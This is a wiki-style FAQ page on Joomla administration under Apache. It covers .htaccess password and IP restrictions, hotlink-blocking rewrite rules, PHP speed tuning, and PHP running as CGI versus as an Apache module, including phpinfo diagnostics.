&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveat (From Apache.org)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Basic authentication should not be considered secure for any particularly rigorous definition of secure.&lt;br /&gt;
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.&lt;br /&gt;
&lt;br /&gt;
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.&lt;br /&gt;
&lt;br /&gt;
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.&lt;br /&gt;
&lt;br /&gt;
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.&lt;br /&gt;
Apache Authentication, Authorization, and Access Control&lt;br /&gt;
&lt;br /&gt;
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.&lt;br /&gt;
&lt;br /&gt;
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it&#039;s probably best to add the new code to it.&lt;br /&gt;
&lt;br /&gt;
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.&lt;br /&gt;
&lt;br /&gt;
 /home/mysite/public_html/.htaccess&lt;br /&gt;
 /home/mysite/auth/.htpasswd/&lt;br /&gt;
 /home/mysite/auth/.htgroups/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you&#039;ve read the always current and official documentation at Apache.org, we&#039;ll spare you the trouble of displaying it again here.)&lt;br /&gt;
&lt;br /&gt;
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don&#039;t forget the dot at the beginning of the name.)&lt;br /&gt;
&lt;br /&gt;
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.&lt;br /&gt;
&lt;br /&gt;
 AuthUserFile /home/auth/.htpasswd&lt;br /&gt;
 AuthGroupFile /home/auth/.htgroups&lt;br /&gt;
 AuthType Basic&lt;br /&gt;
 AuthName &amp;quot;LWS&amp;quot;&lt;br /&gt;
 require group admins&lt;br /&gt;
&lt;br /&gt;
8. Test carefully.&lt;br /&gt;
&lt;br /&gt;
9. Remove all backup .htaccess files from public_http directories.&lt;br /&gt;
&lt;br /&gt;
10. If you cannot use the Apache htpasswd utility, here&#039;s a free, online script that creates the necessary files for you. You&#039;ll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you&#039;ll need to edit the resulting files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;.htaccess Generator:&#039;&#039;&#039; http://www.webmaster-toolkit.com/htaccess-generator.shtml&lt;br /&gt;
&lt;br /&gt;
== How do I restrict directory access by IP address using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)&lt;br /&gt;
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:&lt;br /&gt;
&lt;br /&gt;
 Order Deny,Allow&lt;br /&gt;
 Deny from all&lt;br /&gt;
 Allow from 100.100.100.100&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.&lt;br /&gt;
&lt;br /&gt;
* Optional: You can add multiple addresses by separating them with comma&#039;s.&lt;br /&gt;
&lt;br /&gt;
 100.100.100.101, 100.100.100.102&lt;br /&gt;
&lt;br /&gt;
==How do I convert an htaccess.txt file into a .htaccess file?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need &amp;quot;AllowOverride Options&amp;quot; or &amp;quot;AllowOverride All&amp;quot; privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.&lt;br /&gt;
# Make any adjustments to this file as appropriate for your site, and then save it in your site&#039;s home directory as, .htaccess (including the dot).&lt;br /&gt;
# Test your site&#039;s front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.&lt;br /&gt;
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]&lt;br /&gt;
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]&lt;br /&gt;
&lt;br /&gt;
== How do I block direct hot linking to image files using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveats&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Your server must allow .htaccess files for this technique to work.&lt;br /&gt;
# If you do not have a .htaccess file in your root directory, see the related FAQ first.&lt;br /&gt;
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.&lt;br /&gt;
# Hot linked images can only be replaced by other images, not with HTML pages.&lt;br /&gt;
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.&lt;br /&gt;
# Place the following code in the .htaccess file of your root directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Explanation&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means &amp;quot;aNy Case&amp;quot;, which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Block hot linking from specific domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means &amp;quot;Or Next&amp;quot;, as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Display a 403 forbidden code&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:&lt;br /&gt;
&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]&lt;br /&gt;
&lt;br /&gt;
= PHP =&lt;br /&gt;
&lt;br /&gt;
== Why is Joomla! written in PHP? ==&lt;br /&gt;
&lt;br /&gt;
: Might as well get it from the horse&#039;s mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&amp;quot;What it all boils down to is that PHP was never meant to win any beauty contests. It wasn&#039;t designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP&#039;s stubborness.&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== What is the latest stable release of PHP? ==&lt;br /&gt;
&lt;br /&gt;
Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.&lt;br /&gt;
&lt;br /&gt;
== How do I tune for speed with PHP5 and MySQL5? ==&lt;br /&gt;
&lt;br /&gt;
: This is just a point by point summary of how I&#039;ve been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.&lt;br /&gt;
&lt;br /&gt;
: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.&lt;br /&gt;
&lt;br /&gt;
# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.&lt;br /&gt;
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.&lt;br /&gt;
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn&#039;t bad for JPG and GIF images either. Don&#039;t forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.&lt;br /&gt;
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn&#039;t write it, but it&#039;s short, to the point, and works.&lt;br /&gt;
&lt;br /&gt;
              ob_start (&amp;quot;ob_gzhandler&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Content-type: text/css&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Cache-Control: must-revalidate&amp;quot;);&lt;br /&gt;
              $offset = 60 * 60 ;&lt;br /&gt;
              $ExpStr = &amp;quot;Expires: &amp;quot; .&lt;br /&gt;
              gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;,&lt;br /&gt;
              time() + $offset) . &amp;quot; GMT&amp;quot;;&lt;br /&gt;
              header($ExpStr);&lt;br /&gt;
&lt;br /&gt;
# Strip unneeded modules, components, mambots from Joomla. If you haven&#039;t used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!&lt;br /&gt;
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don&#039;t necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you&#039;ve noticed any problems, it&#039;s time to fix the code creating them, and test thoroughly before uploading the fixed versions.&lt;br /&gt;
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.&lt;br /&gt;
&lt;br /&gt;
== Should PHP run as a CGI script or as an Apache module? ==&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure Apache to use PHP: &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &amp;lt;i&amp;gt;Apache module&amp;lt;/i&amp;gt;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &amp;lt;i&amp;gt;CGI binary&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;(PS: Windows IIS normaly configures as CGI by the way)&amp;lt;/span&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to &lt;br /&gt;
the configuration and recognition of each method. &amp;amp;quot;In general&amp;amp;quot;&lt;br /&gt;
historically only one method or the other has been implemented,&lt;br /&gt;
however, with the architectural changes made to PHP starting with PHP5,&lt;br /&gt;
it has been quite common for hosting firms to configure for both. One&lt;br /&gt;
version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more&lt;br /&gt;
secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will&lt;br /&gt;
be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;What is the difference between CGI and apache Module Mode?&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Apache module&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
is compiled into the Apache binary, so the PHP interpreter runs in the&lt;br /&gt;
Apache process, meaning that when Apache spawns a child, each process&lt;br /&gt;
already contains a binary image of PHP. A CGI is executed as a single&lt;br /&gt;
process for each request, and must make an exec() or fork() call to the&lt;br /&gt;
PHP executable, meaning that each request will create a new process of&lt;br /&gt;
the PHP interpreter.  Apache is much more efficient in it&#039;s ability to&lt;br /&gt;
handle requests, and maaging resources, making the Apache module&lt;br /&gt;
slightly faster than the CGI (as well as more stable under load).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;CGI Mode&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
on the other hand, is more secure because the server now manages and&lt;br /&gt;
controls access to the binaries. PHP can now run as your own user&lt;br /&gt;
rather than the generic Apache user. This means you can put your&lt;br /&gt;
database passwords in a file readable only by you and your php scripts&lt;br /&gt;
can still access it! The &amp;amp;quot;Group&amp;amp;quot; and &amp;amp;quot;Other&amp;amp;quot; permissions ( refer &amp;lt;a href=&amp;quot;component/option,com_easyfaq/task,view/id,73/Itemid,268/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Permissions FAQ&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
can now be more restrictive. CGI mode is also claimed to be more&lt;br /&gt;
flexible in many respects as you should now not see, with phpSuExec (&lt;br /&gt;
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html&amp;quot; target=&amp;quot;_blank Permissions under phpSuExec]&lt;br /&gt;
issues with file ownership being taken over by the Apache user,&lt;br /&gt;
therefore you should no-longer have problems under FTP when trying to&lt;br /&gt;
access or modify files that have been uploaded through a PHP interface,&lt;br /&gt;
such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is&lt;br /&gt;
configured to run PHP as an Apache module, then you will have the&lt;br /&gt;
choice of using either php.ini or Apache .htaccess files, however, if&lt;br /&gt;
your server runs PHP in CGI mode then you will only have the choice of&lt;br /&gt;
using php.ini files locally to change settings, as Apache is no longer&lt;br /&gt;
in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Testing and Reviewing Your PHP Installation&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;i&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Also known as &amp;amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;amp;quot;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To&lt;br /&gt;
find out the PHP interpreter mode and to generally test your PHP&lt;br /&gt;
installation and to find out a vast amount of information about your&lt;br /&gt;
PHP environment, supported utilities, applications and settings, you&lt;br /&gt;
create a single PHP file containing &amp;lt;i&amp;gt;only&amp;lt;/i&amp;gt; the following lines;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 phpinfo();&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... &amp;lt;img src=&amp;quot;http://forum.joomla.org/Smileys/joomla/wink.gif&amp;quot; alt=&amp;quot;Wink&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;amp;quot;.php&amp;amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Other useful information&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &amp;lt;i&amp;gt;(less than the above option)&amp;lt;/i&amp;gt; many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee&#039;s offered...&lt;br /&gt;
&lt;br /&gt;
Again,&lt;br /&gt;
as above, make a file, name it anything you wish but make sure it has&lt;br /&gt;
the &amp;amp;quot;.php&amp;amp;quot; extension, copy and paste the following lines in to it and&lt;br /&gt;
FTP to your server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;?&amp;lt;br /&amp;gt;echo &amp;amp;quot;Hostname: &amp;amp;quot;. @php_uname(n) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) { echo &amp;amp;quot;Hostname: &amp;amp;quot;.&lt;br /&gt;
 @gethostbyname(trim(`hostname`)); } else { echo &amp;amp;quot;Server IP: &amp;amp;quot;.&lt;br /&gt;
 $_SERVER[&#039;SERVER_ADDR&#039;] .&amp;amp;quot;&amp;amp;quot;; }&lt;br /&gt;
 echo &amp;amp;quot;Platform: &amp;amp;quot;. @php_uname(s) .&amp;amp;quot; &amp;amp;quot;. @php_uname(r) .&amp;amp;quot; &amp;amp;quot;. @php_uname(v) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Architecture: &amp;amp;quot;. @php_uname(m) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Username: &amp;amp;quot;. get_current_user () .&amp;amp;quot; ( UiD: &amp;amp;quot;. getmyuid() .&amp;amp;quot;, GiD: &amp;amp;quot;. getmygid() .&amp;amp;quot; )&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Curent Path: &amp;amp;quot;. getcwd () .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Type: &amp;amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Admin: &amp;amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Signature: &amp;amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Protocol: &amp;amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Mode: &amp;amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;amp;quot;&amp;amp;quot;;&amp;lt;br /&amp;gt;&lt;br /&gt;
 ?&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! HISA&amp;lt;/span&amp;gt; or &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! Tools Suite&amp;lt;/span&amp;gt; can also assist to determine which mode your server in running in, also&lt;br /&gt;
providing a large amount of other related  information including recommendations on configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Tools Suite&amp;lt;/b&amp;gt; (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the &amp;amp;quot;HISA&amp;amp;quot; script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Health, Installation and Security Audit&amp;lt;/b&amp;gt; (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]&lt;br /&gt;
&lt;br /&gt;
[http://forum.joomla.org/index.php/topic,136328.0.html Forum Discussion Here]&lt;br /&gt;
&lt;br /&gt;
[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]&lt;br /&gt;
&lt;br /&gt;
Another &amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;Indirect method&amp;lt;/span&amp;gt;, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: maroon&amp;quot;&amp;gt;Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;For those wishing to know more about &amp;amp;quot;How To...&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as an Apache module&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure Apache to load PHP as a module to &amp;lt;i&amp;gt;&#039;parse&#039;&amp;lt;/i&amp;gt; your PHP scripts, the httpd.conf needs to be modified, typically found in &amp;amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;amp;quot; or &amp;amp;quot;/etc/httpd/conf/&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out &amp;amp;quot;LoadModule&amp;amp;quot; statements. (Statements prefixed by the hash &amp;amp;quot;#&amp;amp;quot; sign are regarded as having been commented out.) If PHP is running in &amp;amp;quot;Apache Module&amp;amp;quot; Mode you should see something very similar to the following;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module &amp;amp;quot;c:/php/php4apache.dll&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 1.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;quot;mod_php4.c&amp;amp;quot; or &amp;amp;quot;mod_php5.c&amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
